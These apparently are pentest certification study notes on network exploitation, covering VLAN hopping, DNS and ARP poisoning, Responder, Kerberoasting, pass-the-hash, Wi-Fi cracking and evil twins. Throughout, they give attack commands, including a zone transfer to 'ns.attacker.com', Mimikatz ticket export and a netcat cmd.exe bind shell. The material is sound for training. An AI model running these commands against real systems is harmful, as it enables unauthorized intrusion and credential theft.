Chapter 07: Exploiting Network Vulnerabilities

Question 1

Packet Storm

Answer 1

Includes news as well as exploit information and code

DION NOTES
* Contains news articles, advisories, whitepapers, tools, and exploits that can be reviewed and used in pentests

Question 2

VLAN Hopping

Answer 2

VLAN Hopping is when you access a VLAN other than the one you’re currently on

Double Tagging
* Used on 802.1Q trunked interfaces
* Insert the native VLAN’s tag as the first tag, and the target VLAN’s tag as the second tag
* This causes the packet to be passed on by switches on its native VLAN, with the next switch on its trip reading the second tag
* Can only be used when switches are configured to allow native VLANs—many orgs will mitigate this to prevent abuse

Switch Spoofing
* Makes the attacking host act like a trunking switch
* Becaues the host appears to be a switch that allows trunks, it can view traffic sent to other VLANs
* Requires that local network devices be configured to allow the attacking host to negotiate trucks, with an interface set to dynamic desirable, dynamic auto, or trunk mode
* If you get control of network devices or discover a misconfigured or poorly maintained and managed network, switch spoofing can provide additional visibility into VLANs that might be hidden

DION NOTES
If you gain access to a workstation located in one VLAN, you’re going to have to break out of that VLAN to gain access to other sensitive areas of the nework
* VLAN Hopping is a technique exploiting a misconfiguration to direct traffic to a different VLAN without proper authorization

Double Tagging
* Attacker tries to reach a different VLAN using the vulnerabilities in the trunk port configuration
* Inner tag contains the true destination set by the attacker
* Outer tag contains the native VLAN, which is the one VLAN that travels across the trunk port without a VLAN tag by itself
* When the switch receives the frame, it removes the outer tag and forward the frame to the VLAN of the second, inner tag
* The destination is not going to double tag the data that gets sent back, so it’s a one-way trip
* EX: You can send an exploit into the VLAN with double tagging that establishes a beacon calling out to C2 server—now you’re outide the LAN and you can establish two-wan comms
* EX: When you don’t need a response back with DoS or stress test

Switch Spoofing
* Attacker tries to conduct a Dynamic Trunking Protocol (DTP) negotiation

CAM Overload
* Overloaded CAM tables result to switches failing open and acting like a hub, which repeates every frame it receives on every port
* Pentesters can flood the CAM table with MAC addresses which causes it to fail open
* Then you can sniff traffic on a port you have set up a listener on and read traffic destined for other VLANs

Question 3

DNS Spoofing / DNS Cache Poisoning

Answer 3

A poisoned DNS entry will point traffic to the wrong IP address and allow attackers to redirect traffic to a system of their choice

Most DNS poisoning relies on vulnerabilities in DNS software, but improperly configured or secured DNS servers can allow attackers to present DNS information without proper validation

Pentesters can modify the local hosts file on compromised systems to resolve hostnames to specified IP addresses

Can also modify the actual DNS server for a network

DION NOTES
DNS Cache Poisoning
* Attacker attempts to change the IP of a domain name that’s stored in the DNS cache of a given DNS server
* If they can do this, any client who requests the site in the future is going to be redirected to a website controlled by the attacker, which allows further exploitation
* There are multiple places DNS caches exist though, including on the client itself, default gateway or router, local DNS server, ISP DNS server, and all upstream DNS servers to the root DNS nameserver

To Conduct DNS Cache Poisoning
* First, check if the target’s server uses recursion with nmap
* nmap -sU -p 53 –script=dns-recursion [IP]
* If recursion is enabled, you can attempt a dynamic DNS update without authentication with nmap
* nmap -sU -p 53 –script=dns-update –script-args=dns-update.hostname=[domain],dns-update.ip=[IP] target
* This command attempts to give the upate with the new address you want to associate with a particular IP

Many Ways to Conduct DNS Poisoning
* Poisoning workstation’s or server’s DNS cache
* Hijacking local DNS server
* Performing unauthorized zone transfer to an unpatched DNS server where you can then change the IP address of a given web server’s A record

DNSSEC
DNS Security Extensions
* Uses digital signatures based on public-key cryptography to ensure DNS data is digitally signed by the owner
* It prevents spoofing of DNS records and makes poisoning difficult—used to protect the validity and authority of the DNS servers in an organization
* The zone owner and the resolvers need to configure their DNS servers to support DNSSEC

DNS Zone Transfer
A method of replicating DNS database entries across a set of DNS servers, and it can be used for information gathering and exploitation

Windows Use
* nslookup in interactive mode to attempt zone transfer
* nslookup
* set type=any
* ls-d [domain]
* This command says that you want all the records for any kind of DNS information you have on the server, and I want you to transfer them for this domain name to my system
* If the DNS server is misconfigured, you’re going to be able to download all of their information from their DNS server to your local machine

Linux / Mac Use
* dig axfr ns.target.com ns.attacker.com
* AXFR = authoritative transfer
* Uses the dig tool to conduct a zone transfer from the nameserver of the target to the nameserver that I control as the attacker
* This command copies all of the DNS entries over to the attacker’s nameserver
* You can then go through them, manipulate them, and use the information as needed
* Get IPs for your servers, subdomains, etc (aka DNS Harvesting)

nmap use
* NSE dns-zone-transfer.domain

Question 3

ARP Spoofing

Answer 3

Attacker sends falsified ARP messages on a local network, providing an incorrect MAC address to IP pairing for the deceived system or systems

The information is written to the targets machine’s ARP cache, and the attacker can then intercept or capture and forward traffic, hijack sessions, or cause additional traffic to hit a target system potentiall causing DoS

DION NOTES
ARP Spoofing
* The sending of falsified ARP messages over a LAN to get the ARP caches to dynamically update with new information
* Remember, ARP creates a binding between IP and MAC inside the LAN using layer 2 OSI / data link
* ARP spoofing is used as a precursor to other attacks, like on-path

ARP Poisoning
* Attack that exploits the IP address to MAC resolution in a network to steal, modify, or redirect frames within the network
* One way to do this is with ARP spoofing
* VLAN segmentation and DHCP snooping are the defense against ARP spoofs and poison, to ensure that IPs aren’t being stolen or taken over by an attacker

To Conduct ARP Poisoning and Redirect Traffic from Victim
1. Identify the MAC address and IP using wireshark or nmap -PR -sn [target] (conducts an ARP ping and disables port scan)
2. Use Metasploit (auxiliary/spoof/arp/arp_poisoning) or arpspoof -i [interface] -t [IP] to conduct ARP poisoning

Question 3

MAC Address Spoofing

Answer 3

Can be used to bypass NAC, captive portals, and security filters that rely on a system’s MAC to identify it

Can also be used as MITM and other attacks that rely on systems thinking they’re sending traffic to a legitimate host

MAC addresses can be manually set from the “Advanced” tab for your network adapter

Question 3

Replay Attacks

Answer 3

Form of MITM that focuses on capturing and then resending data

Common uses for replay attacks include masquerading to allow an attacker to present credentials to a service or system after capturing them during an authentication process

One of the most common replay attacks used by pentesters is the NTLM pass the hash attack
* Once NTLM hashes are acquired, pentesters identify systems that don’t require SMB signing (which prevents pass the hash)
* With a list of targets, Responder or other tools can intercept authentication attempts
* Then, NTLM relay tool can be leveraged to drop Empire or another similar tool onto the target

Question 4

Relay Attacks

Answer 4

The on-path system is used only to relay attacks without modifying them rather than modifying any traffic

These aren’t limited to traditional IP-based network traffic—EX: you can query an RFID card or other device required to provide authentication and relay the response to a device or system the card isn’t actually near

Question 5

NAC Bypass

Answer 5

NAC detection process typically involves one of the following methods:
* A software client that talks to a NAC server when connected
* DHCP proxy that listens for traffic like DHCP requests
* Broadcast listener that looks for broadcast traffic like ARP queries or a more general purpose sniffer that looks at other IP packets
* SNMP-trap-based approach that queries switches to determine when a new MAC address shows up on one of their connected ports

Pentesters need to determine which detection method the NAC is using in order to know how to bypass

EX: Systems that don’t require client software and rely on MAC addresses of a device can sometimes be bypassed with a cloned MAC on the same port than an existing system was connected to

DION NOTES
NAC is used to keep unauthorized users or devies from accessing a private network
* When a device is attempting to connect to the network, it’s placed in a virtual holding area while it’s being scanned to check for AV definitions, security patches, etc
* If it passes, it can enter and access resources
* If it fails, it’s placed into digital quarantine before it meets requirements of NAC

Persistent Agents
* A type of software installed on the device requesting access to the network
* Works well in a corporate environment because the org owns all of the devices and controls the software baseline

Non-Persistent Agent
* Requires the users to connect to the network and log in to a web-based captive portal to download an agent that scans their devices for compliance

Agentless NAC / Volatile Agent
* Installs the scanning engine on the DC instead of the endpoint device
* Works well with BYOD policy or doesn’t have access to the endpoint devices to install agent-based NAC
* They run in the volatine RAM

How to Bypass
* Exploit an authorized host and use it as a pivot point to send traffic through that device
* Make your device look like someting else like a VoIP handset, printers, etc that isn’t restricted by NAC—most are segmented into their own VLAN though, so you have to VLAN hop out of

Question 6

DoS Attacks and Stress Testing

Answer 6

Most pentests will prohibit intentional DoS attacks in the RoE, particularly against production environments

But some will allow it, or even require it if the client wants to understand their ability to weather them

There are three main types of DoS:
1. Application layer DoS that crash a service or entire server
2. Protocol-based DoS that take advantage of a flaw in a protocol, like SYN floods
3. Traffic volume-based DoS that overwhelm a target by sending more traffic than it can handle

NOTE: Applicaiton layer DoS are likely to happen accidentally during a pentest while exploiting vulnerabilities in services or apps—address unintenional DoS in the RoE and have clear comms plans for what to do if they happen

If alowed in the scope, pentesters have a number of tools to help:
* Commercial load and stress testing services (stressers)
* Hping
* Metasploit (obviously)
* HTTP Unbearable Load King (HULK)
* Low Orbit Ion Cannon (LOIC)
* High Orbit Ion Cannon (HOIC)
* SlowLoris

DION NOTES
Stress testing is a software testing method that evaluates how software performs under extreme load
* Typically, you won’t do this in a pentest unless explicitly asked
* You can stress processor, memory, network, or storage load on a system

Question 7

Exploit Chaining

Answer 7

Using multiple exploits to achieve your goal

EX: Exploit a vulnerable service –> use a privilege escalation attack from a locak service account –> obtain credentails to access other systems for more exploits, etc

DION NOTES
* Chained exploits can be run simultaneously or sequentially
* This is where we combine things to create a holistic attack, and they don’t always have to be technical

Question 8

NetBIOS

Answer 8

Commonly used for file sharing, but the protocol has many other services that rely on it as well

One of the most commonly targeted services in a Windows network

Port 139

Question 9

NetBIOS Name Services and Attacks

Answer 9

When Windows systems need to resolve the IP address for a hostname, they use three lookup methods in the following order:
1. The Local host file found at C:\Windows\System32\drivers\etc\hosts
2. DNS, first via local cache and then via the DNS server
3. The NetBIOS name service (NBNS), first via Link Local Multicast Name Resolution (LLMNR) queries and then via NetBIOS Name Service (NBT-NS) queries

Most local networks don’t have entries in DNS for local systems, particularly other workstations and network devices

Domain controllers or other important elements of infrastructure may resolve via DNS, but many Windows services will end up falling through to the NetBIOS name service (NBT-NS)

Targeting NetBIOS name service can be surprisingly effective, here’s what it looks like:
* Windows sends broadcast queries to the local subnet’s broadcast address via LLMNR and NetBIOS –> Provides an oppty for you to respond with a spoofed response, redirecting traffic to a host of your choice

As a stand-alone exploit it’s not particularly effective, but SMB spoofing using tools like Responder or Metasploit, and then pairing with capturing tools like “capture_smb” in msf for authentication hashes, can be powerful when dealing with networks that support less secure hashing methods

Once you have the hashes you can reuse them for pass-the-hash attacks
* NOTE: This will require a bit more work since hashes sent via SMB are salted using a challenge to prevent their reuse
* Metasploit and other tools that are designed to capture SMB hashes can defeat this protection by sending a static challenge and allowing the use of rainbow tables to crack the password

DION NOTES
Link-Local Multicast Name Resolution (LLMNR)
* Based on the DNS packet formatting and allows both IPv4/6 hosts to perform name resolution on the host if they are on the same local link
* Both hosts need to be on same internal network to use the LLMNR
* If no DNS server, Windows can use LLMNR to determine names and IPs of other servers and resources on the network
* This will not work on Linux—Linux relies on ZeroConf using the SystemD (system daemon)

NetBIOS Name Service (NBNS or NBT-NS)
* Part of the NetBIOS-over-TCP protocol suite that’s used as a type of name resolution inside the internal network to translate internal names to IPs
* Uses 16-character ASCII name
* Linux uses this as well
* EX: //fileserver or //ShareDrive or //WillsPC
* Windows will defalt to LLMNR, and then fallback to NBNS

To Exploit
Pentesters can use Responder
* CLI tool that’s used to poison NBNS, LLMNR, and mDNS name resolution requests
* Post-exploitation tool because you have to break into the network first
* Responder will listen for any time a system calls out for a certain machine
* Then, it poisons the name resolution call by sending back incorrect information
* EX: A machine wants to locate the file server, but attacker machine will respond with IP to different server controlled by attacker
* Can perform other attacks and exploits after this, but you have to prevent the real machine from responding to the initial request

Page 257-261 in depth diagrams

Question 10

NetBIOS Ports

Answer 10

• 135, TCP: MS-RCP endpoint matter (epmap)
• 137, UDP: NetBIOS name service
• 138, UDP: NetBIOS datagram service
• 139, TCP: NetBIOS session service
• 445, TCP: SMB

Question 11

Using Responder with NetBIOS

Answer 11

When exploiting NetBIOS and LLMNR responses, Responder is powerful

It can target individual systems or entire local networks, allowing you to analyze or respond to NetBIOS name services, LLMNR, and multicast DNS queries pretending to be the system that the query is intended for

Once Responder sees an authentication attempt, it will capture the hash automatically, allowing Responder to continue running in the background as you attempt other exploits or conduct further pentest work

Once you have captured credentials, you can use Responder to relay NTLM authentication to a target—if the attack is successful you can execute code

Question 12

Windows net Commands

Answer 12

Exploring Windows domains is easier with net commands:
* net view /domain: Lists the hosts in the current domain—can also use /domain:[domain name] to search a domain that the system has access to other than the current domain
* net user /domain: Lists the users in the domain
* net accounts /domain: Shows the domain password policy
* net group /domain: Lists groups on the domain
* net group “Domain Admins” /domain: Adding a group name like “Domain Admins” to the net group command lists users in the group
* net share: Show current SMB shares
* net session: Reviews SMB session—using the find command with this can search for active sessions
* net share [name of share] c:\directory\of\your\choice / GRANT:Everyone,Full: Grants access to a folder on the system for any user with full rights—easy to change by identifying specific users or permissions levels

Question 13

SMB Exploits

Answer 13

Server Message Block

The SMB implementation in Windows is another popular target for pentesters

Its vulnerabilities mean that unpatched systems can be exploited with relative ease, which include critical RCE vulnerabilities in the Windows SMB server discovered in 2017 (MS17-010—EternalBlue)

Question 14

Identifying and Attacking Service Targets

Answer 14

You can use the typical network tools to identify services:

nmap
* Find open ports and services, providing an initial list of targets for further exploration
* Often paired with vulnerability scanning tools to improve a pentester’s chances of success by finding vulnreably services rether than simply identifying them
* By itself, nmap can provide some useful data about service versions

Metasploit
* Aside from exploit tools, it integreates with a varity of other components like vulnerability scanning and port scanning
* The built in exploits and broad use in the industry mean you will find an existing exploit package for what you find, or new exploits will be released for new vulnerabilities

Netcat
* Can be used for range of tasks from port scanning to creating reverse shells or standing up custom services
* Very small executable, which makes it useful as a payload exploit

Question 15

SNMP Exploits

Answer 15

Simple Network Management Protocol is used to gather information about network devices, including config and status details

What to know about SNMP:
* Port 161 UDP, makes it easy to recognize SNMP traffic on a network
* Most commonly associated with devices like switches and routers, but it’s also used to monitor printers, servers, and other networked systems
* Organizes data into hierarchical structures called MIBs (managemt information bases)—each object in an MIB is called an OIT (object identifier)
* SNMP v1 and v2 rely on community strings to determine whether a connected user can read, read and write, or just send events known as “traps”

Since it provides a wealth of info, it’s an important target for pentesters
* One of the first steps for SNMP exploitation is to map a network for devices with SNMP enabled
* A port scan can provide information about which systems are running SNMP services, but more information can be gathered with dedicated tools on Kali like snmpenum and snmpwalk

Once you know what devices are running an SNMP daemon you can query them
* The goal for these SNMP queries is to determine the community strings that are configured, often starting with “public”
* If the read community string can be determined, you can gather device information easily
* In poorly configured environments or where admin have made mistakes, you can potentially get read/write capabilities and change device settings via SNMP

Three major SNMP versions on a network:
1. v1: Poor security and should be deprecated
2. v2: Added admin functionality and security, but the security features require configuration and are weak compared to modern designs, thus not used often
3. v3: Functionally equal to v2, but adds additional security capabilities to provide CIA

Question 16

SMTP Exploits

Answer 16

Simple Mail Transfer Protocol is how email gets sent

Things to know about SMTP
* Port 25, TCP
* Easily identified by telnetting to the service port
* SMTP is old without much built in security
* Orgs that run SMTP servers have to harden them against misuse so they don’t get blacklisted for being spam email relays
* SMTP exploits that are most useful to pentesters are typically associated with a specific vulnerable SMTP server version

If you encounter an SMTP server, connecting to it and grabbing banner information might provide enough to determine if it’s vulnerable

SMTP servers can be used for information gathering by connecting to them and using the EXPN and VRFY commands
* Telnet to SMTP server –> telnet example.server.com 25
* VRFY [username]
* EXPN [user_alias]

Question 17

FTP Exploits

Answer 17

File Transfer Protocol is a plaintext unencrypted protocol

Things to know about FTP
* Port 21, TCP
* Operates on higher ephemeral TCP ports for passive transfers
* FTP servers remain in use despite glaring security concerns
* FTP alt SFTP: SSH file transfer protocol (port 22)
* FTP alt FTPS: FTP secure (ports 21 and 999, TLS)

Exploiting FTP
* Relatively simple if you can gain access to FTP network traffic
* Simplest attack is to capture usernames or passwords on the wire and use them to log into the target systems
* FTP servers can be vulnerable themselves
* Exploit the configuration of the FTP service itself, which may allow navigation outside of it’s own base directories

Question 18

Kerberoasting

Answer 18

A technique that relies on requesting service tickets (TSG) for service account principle names (SPNs)

The tickets are encrypted with the password of the service account asociated with the SPN, and once you’ve extracted the service tickets with a tool like Mimikatz, you can crack the tickets to obtain the service account password with offline tools

Kerberoasting is most effective against shorter, less complex passwords since it uses offline cracking which can be slow

Four step process:
1. Scan AD for user accounts with SPNs set
2. Request service tickets using the SPNs
3. Extract the service tickets from memory and save to a file
4. Conduct an offline brute force attack against the passwords in the service tickets

The technical process requires you to retrieve SPN values, which can be used with:
* PowerSploit Get-NetUser command
* PowerShell commands to gather lists of accounts
* Kerberoasting toolkit from GitHub

To pull all of the ticekts, the code looks like this:
* PS C:> Add-Type -AssemblyName System.IdentityModel
* PS C:> setspn.exe -T medin.local -Q * / * | Select-String ‘^CN’
* -Context 0,1 | % { New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken
* -ArgumentList $_.Context.PostContext.Trim() }

In Mimikatz:
* kerberos::list/export

Once you have the tickets you can crack with John the Ripper or other cracking tools

If you have the NTLM hash for a service account you can use Mimikatz to create a forged Kerberos service ticket “silver ticket” and gain further access to services

Question 19

Samba Exploits

Answer 19

Much like the MS implementation of SMB, Linux Samba server has proved to have a variety of security flaws

The SambaCry exploit of 2017 was discovered to allow TCE in all SMB ersions newer than Samba 3.5.0, which was a 2010 code release

Because Samba and SMB operate on the same ports and protocols, fingerprinting the OS before attempting to exploit is crucial to ensure

Question 20

SSH Exploits

Answer 20

Secure Shell is used for secure CLI access to systems

Things to know about SSH:
* Port 22, TCP
* Updating SSH throughout an organization is difficult since it’s embedded in devices of all descriptions
* Pentesters should validate both SSH and OS versions when reviewing vulnerability scan results to determine if a vulnerable version of SSH is running
* THC Hydra can brute force SSH
* Metasploit has ssh _ login and ssh _ login _ pubkey to test credentials across an entire network range or list of possible target systems

Question 21

Password Attacks

Answer 21

1. Brute Force
2. Dictionary
3. Hash Cracking (Rainbow Table)
4. Password Spraying

Question 22

Wireless Attack Methods

Answer 22

There are nine specific attack methods to know:
1. Eavesdropping: Capturing data in transit with sniffer tools
2. Data Modification: Attempts to change data and are frequently conducted in parallel with another attack like MITM
3. Data Corrpution: Corrupts data or traffic—deauth can rely on data corruption to cause a deauth/reauth sequence
4. Relay: Type of MITM that accepts data, allows attackers to review or modify, then forwards to originally intended destination
5. Spoofing: Provide false information intended to allow attackers to impersonate another system or user
6. Deauthentication: Sends spoofed packets attempting to get systems to disconnect from a legitimate access point, allowing attackers to try and get them to connect to evil twins or force reauthentication
7. Jamming: Prevent traffic from flowing by flooding or interfering with connections
8. Capturing: Handshakes, part of deauth—capture now crack later (like with aircrack)
9. On-path: MITM, focuses on persuading a target system to send traffic through an attacker-controlled system

DION NOTES
Eavesdropping
By default, a wireless NIC ignores signals addressed to someone else’s MAC address
* Promiscuous Mode allows us to listen and capture any data being sent to any client on that wireless network
* We can eavesdrop to gain network client MAC addresses, types of encryption used, or network client devices

Deauthentication
Used to boot a victim wireless client off an access point so that it’s forced to reauthenticate
* From there you can capture the handshake during reauth
* Then you can try to brute force the PSK
* Deauth is most commonly used in conjunction with other attacks

Jamming
Disrupts a WiFi signal by broadcasting on the same frequency as the target access point in order to block signals that a wireless transceiver attempts to send or retrieve
* Goal is to trigger a DoS attack on a given access point or entire spectrum of frequencies
* Considered illegal in many places, so check scope and legal restrictions
* WiFi Jammer—Python script capable of disrupting signals of all wirelss access points in an area

Question 23

Evil Twins

Answer 23

Attackers create a malicious access point that unsuspecting users connect to

Also can be used for downgrade attacks which trick clients into using a less secure protocol or encryption scheme
* Not limited to 802.11 based protocols
* Can be used to downgrade IoT devices from S2 to S0 through Z-Wave protocol

Aircrack-ng
Create an evil twin with this tool
1. Capture traffic to determine the SSID and MAC addresses of a legitimate access point
2. Clone the access point using airbase-ng
3. Conduct a deauth attack
4. Esnure the fake AP is more powerful (closer) and will be chosen by the client when they try to reconnect
5. Conduct attacks including MITM

EAPHammer
* Purpose-built tool designed to conduct evil twin attacks on WPA2 Enterprise networks
* It’s mostly automated, can perform captive portal attacks, do password sprays, and make automated attacks against preshared key environments

Question 24

Rogue Access Point

Answer 24

Not the same as evil twin

Any acces point that’s not supposed to be on a network

Can be as simple as a printer, IoT device, or router that gets plugged in

Question 25

Attacking WPS

Answer 25

Wi-Fi Protected Setup is used to set up wireless devices with the push of a button, and has major security concerns

It uses an 8-digit pin which can be easily cracked due to lack of complexity—only 11,000 possible PINs total

WPS passwords can be attacked using a pixie dust attack which brute forces the key for WPS

Reaver will exploit the WPS handshaking process via brute force and can even function if the WPS setup button hasn’t been used on the router

Question 26

Bluetooth Attacks

Answer 26

Two common ones to know:
* Bluesnarfing: Theft of information from BT enabled devices—Kali has a package which allows phonebook contact theft via Bluetooth, given a device ID or address
* Bluejacking: Sending unsolicited messages over BT devices

For the exam, know this tool:
SpoofTooph
* Used to automate the spoofing or cloning of a BT device’s name, class, and address
* A BT spoofing tool that can scan for BT devices, clone them, generate and act like a randomized BT device, and log information it finds
* Can be used to hide a BT device that will be used to gather info from other devices in an environment

DION NOTES
Bluejacking
* Sending unsolicited messages to a Bluetooth device
* Not that dangerous, more annoying, but still a valid AV for a threat actor
* No special tools or software required to conduct, only need to find a device in range that’s set to discoverable mode
* Then you can send them a message with the BT protocol
* If victim devices are set to non-discoverable, bluesnarfing is rendered mostly ineffective
* Sends information

Bluesnarfing
* Making unauthorized access to a device via BT connection
* Attacker tries to take data off that device using the connection
* If victim devices are set to non-discoverable, bluesnarfing is rendered mostly ineffective
* Steals and receives information

BlueBorne
* Allows the attacker to gain complete control over a device without even being connected to the target device
* Set of 8 vulnerabilities that can be used to exploit the BT protocol itself on Windows, Linux, Android, and Apple
* Used to conduct information leaks, RCE, and logical flaws

Bluetooth Low Energy (BLE)
* A BT variation that uses less energy and communicates wirelessly over shorter distances
* Usually used to exchange data between personal devices like smartphones, tablets, printers, laptops, other peripherals
* Popular in smart home devices, motion sensors, and other IoT devices
* Usually transmits less data, but you can still capture useful data from BLE devices
* Biggest challenge for pentester is getting close enough to those devices because they have such a short range

To Conduct BT Attacks
You need to learn how to use:
* HCICONFIG
* HCITOOL
* BLEAH
* GATTTOOL/BETTERCAP/BLUEPY

Question 27

NFC and Amplification Attacks

Answer 27

NFC amplification attacks can either use tools like antennae or software defined radio systems, or use protocol changes that make NFC more error tolerant at the cost of speed to allow longer range usage

This can allow data exfiltration from air-gapped systems or can allow capture of NFC communications at longer ranges than would normally be possible

DION NOTES
* Uses different frequencies than RFID and much shorter range
* Most phones have NFC readers built in, which makes it easier to read/write NFC

Question 28

Wireless Security Tools

Answer 28

• Aircrack-ng: Suite of tools that provides the ability to conduct replay and deauth attacks, act as a fake access point, crack WPA PSK, capture packets, and injection capabilities
• mdk4: Tool to exploit 802.11 protocol weaknesses and includes a number of capabilities ranging from SSID probing and brute forcing to flooding, fuzzing, deauth, and disassociation tools—can also target Wi-Fi mesh networks and conduct DoS aggainst wireless networks
• Kismet: Provides wireless packet capture and sniffing features and can be used as a wireless IDS
• WiFite (2): Wireless network auditing tool that includes WPA handshake capture/cracking, pixie dust attacks, identification of hidden access points
• Fern: Wi-Fi cracking tool that includes WPA2 dictionary attack functions, session hijacking capabilities, geolocation for AP mapping, MITM support, and brute force functions for HTTP, Telnet, and FTP

Question 29

RFID Cloning

Answer 29

Three card types you’ll encounter:
1. Low frequency 125-134.2 KHz RFID which can be cloned to other cards using a readily available tool
2. High frequency 13.56 MHz tags and cards: Many phones now support this NFC capability making it possible to clone cards with phones
3. Ultra high frequency 865 to 928 MHz: Varies around the world due to no accepted international standard

DION NOTES
* RFID is a form of radio frequency transmission modified for use in authenticated systems
* Pentesters can capture the radio frequency and the retransmit it

Question 30

Network Security WiFi Exam Tips

Answer 30

If you’re asked about WiFi:

Open
* No security or encryption is used
* Looking for answer that says the network has no security

WEP
* Immediately identify the weakness in the initialization vector (IV)
* That means we can brute force the PSK

WPA
* Weaknesses are RC4 and TKIP

WPA2
* Weaknesses are AES and CCMP
* Try to dictionary against the PSK or brute force a weak PSK

WPA3
* No known attacks against the algorithm
* Dragonfly—nickname for the simultaneous authentication of equals (SAE) handshake

WPS
* Vulnerable due to the weakness of the two 4 digit segments of the pin with only 10k options each
* Can brute force easily

Question 31

Bypassing MAC Filtering

Answer 31

MAC Filtering defines a list of devices and only allows those on your network, and it operates on an allow or block list mentality—pretty useless for defense

ALLOW
macchanger -m
* This will allow you to change the MAC address of your machine
* See what MACs are already connected to a given network, change to one, and you’re in

BLOCK
macchanger -a
* If you have a known bad MAC, change it to one not on that list and you’re in

Question 32

Antenna

Answer 32

Omnidirectional
* Commonly used by wireless access points
* Radiates power equally in all directions
* Connected by default to your WiFi card in machine
* Can’t pickup signales from very far away

Unidirectional
* Focuses power in one direction for covering greater distances
* Most common is the yagi antenna which are often used for building to building connection
* Harder for a pentester to get in the footprint to exploit

DION NOTES
* You can use an omnidirectional to identify targets, and then switch to a unidirectional to capture network traffic from a longer distance

Decibels Per Isotropic (dBi)
* The amount of forward gain of a given antenna
* Typical wifi card for laptop, smartphone, etc is 3dBi, which gets signal at around 100 feet within a building or 500 feet for access points located outside

Question 33

WEP Hacking

Answer 33

WEP is extremely insecure due to its use of a 24-bit initialization vector (IV), which is used to create pseudo randomness in the encryption—but 24 bits is nothing and is super weak

Regardless of what PSK you use, this attack will work every single time because we can exploit the encryption algorithm behind WEP

Here’s how to do it:
1. Monitor the area to determine which access points and clients are in use
2. Capture all the network traffic into a pcap file to crack offline
3. Conduct a deauth to generate numerous handshakes that can be captured
4. Crack the encryption protocol to identify the plaintext PSK

Aircrack-ng Suite
* airodump-ng to scan a particular network
* aireplay-ng to send deauth packets or arpreplay
* aircrack-ng to crack the key

Question 34

WPA/WPA2 Hacking

Answer 34

How to do this with aircrack-ng suite
1. Place the wireless network adapter into monitor / promiscuous mode with airomon-ng
2. Discover the WPA/WPA2 enabled networks in range with airodump-ng
3. Capture the network traffic and write it to a pcap file with airodump-ng
4. Conduct deauth atack to generate and capture handshake with aireplay-ng
5. Conduct a dictionary attack to identify the plaintext PSK with aircrack-ng

Question 35

Evil Twins

Answer 35

AKA rogue access point, this is a fraudulent WiFi access point that appears to be legitmate but is set up to eavesdrop on wireless comms

Here’s how it can work for pentesters:
* Create a rogue access point with same name to the official wireless access point of your target
* Ensure you’re broadcasting at a higher power level
* Then, conduct deauth attack against any clients connected to the official WiFi
* Victim network adapters will see WiFi with same name and higher power level / stronger signal, so they connect to pentester
* You can provide them with internet access, but the whole time they’re using your AP you can capture all traffic as it passes through

Karma Attack
This is another method used to get victims to connect to an evil twin / rogue AP
* Exploits the behavior of WiFi devices due to a lack of access point authentication protocols being implemented
* Vulnerable client broadscasts its preferred network list (PNL), which is a list of SSIDs of any APs the device has previously connected to and will auto connect to when in range
* To conduct a Karma attack, you need to listen for any PNL broadcast happeing from a device that’s trying to find a network it already knows and trusts
* Then, your AP needs to change SSID to match one in PNL
* This allows victim to connect to your AP

Tools for Evil Twin Attacks
ESPortalV2
* Tool used to set up a captive portal and redirecting all WiFi devices that connect to a particular AP to your portal for authentication
* You can set it up to look like a hotel, airport, coffee shop, restaurant, etc

Wifiphisher
* Set up evil twin without captive portal

WiFi Pineapple
* Hardware device used if you have to perform a lot of wireless pentests
* Can be used to automate WiFi auditing with different types of campaigns, and it can even create vulnerability reports at conclusion of pentest

Question 36

On-Path and Relay Attacks

Answer 36

On-Path Attack
Occurs when an attacker puts themself between the victim and the intended destinaton
* You find someway to get in between the data flowing from victim and server in order to listen to and capture data being sent between devices
* In standard on-paths, you can only capture data in a more passive method

Relay Attack
* You can capture the data, modify it, and then send it outward to its destination
* Breach of C and I of the data transfer

DION NOTES
* One of the easiest methods to execute an on-path or relay attack is to execute an evil twin attack
* Defenders use 802.1x to get around on-path and relay, using EAP, PEAP, EAP-TTLS, and EAP-FAST authentication that requires server, client, or both to use digital certs as part of the authentication process

The pentester can attack the secure 802.1x process by:
* Creating the evil twin
* When the client connects to the evil twin, the rogue AP is going to provide a forged digital certificate to the client
* If the client accepts, it will send it’s authentication credentials or digital cert to the rogue AP
* The rogue AP now forwards that on to the upstream server and act as relay or proxy between the client and server
* Rogue AP can now monitor or modify any traffic between te two

Question 37

SSL Stripping

Answer 37

Occurs when an attacker tricks the encryption application into presenting the user with an HTTP connection instead of HTTPS

If SSL Stripping is impossible, you can perform:
Downgrade Attack
* Occurs when an attacker attempts to have a client or server abandon a higher security mode in favor of a lower security mode
* If an attacker is on-path they can allow encrypted connetions to occur, but at a lower level like SSL 2.0 so the little lock displays on the browser
* This can be used with any kind of encryption, not just TLS

Question 38

Pass the Hash and Kerberoasting

Answer 38

AKA: NTLM Relay Attack

A network-based attack where the attacker steals hashed user credentials and uses them as-is to try to authenticate to the same network the hashed credentials originated on
* It’s possible to present the hash without cracking the original password to authenticate to network protocols like SMB and Kerberos
* Most commonly used for privilege escalation since the admin has most likely logged into a machine
* Dump the SAM and pass-the-hash

Mimikatz
* App that allows users to view and save authentication credentials to perform pass the hash attacks
* Scans system meory for cached passwords processed by lsass.exe (Local Security Authority Subsystem Service)

Kerberoasting
Allows any domain user account wiht a service principal name to set a service granting ticket in the ticket granting service
1. Get the user Service Principal Names (SPNs) to identify all accounts that are good candidates for Kerberoasting
2. Get a service ticket from one of the SPNs that looks like a good target, like a server or service
3. Dump the service ticket to a file
4. Crack the account’s plaintext password, which can be done offline, using that service ticket file

If you can get the password from this process, you have it in plaintext and you can take control of the system
* Service and server accounts are often most vulnerable to Kerberoasting because admins don’t change the passwords on them that often
* If you succeed during pentest, recommend they change them more frequently

Golden Ticket
* A master ticket that comes from the Kerberos ticket-granting-ticket (TGT) which can be used for any Kerberos service
* If you succeed in pentest with Mimikatz, you essentially own the entire domain

Silver Ticket
* A ticket-granting service ticket that’s only good for certain Kerberos-specific services

Question 39

Netcat (nc)

Answer 39

A CLI utility for reading and writing raw data over a network connection
* Can create bind and reverse shells for use during pentest

Bind Shell
* Attacker installs a listening port onto the victim’s machine, to which the attacker can connect
* I can redirect any commands I put on my CLI to execute on your local host over the open port
* Two-way connection like SSH
* Firewalls have made bind shells less effective
* But they’re still useful because they just sit there and wait for someone to connect, and if you’re already in a network

To Set Up
nc -l -p 443 -e cmd.exe
* This command says I want netcat to set up a listener on port 443 and execute the command cmd.exe whenver someone connects to it

Connect to Listener
nc [IP of victim] 443
* Go out and connect to the listener that’s located at the IP listening on port 443
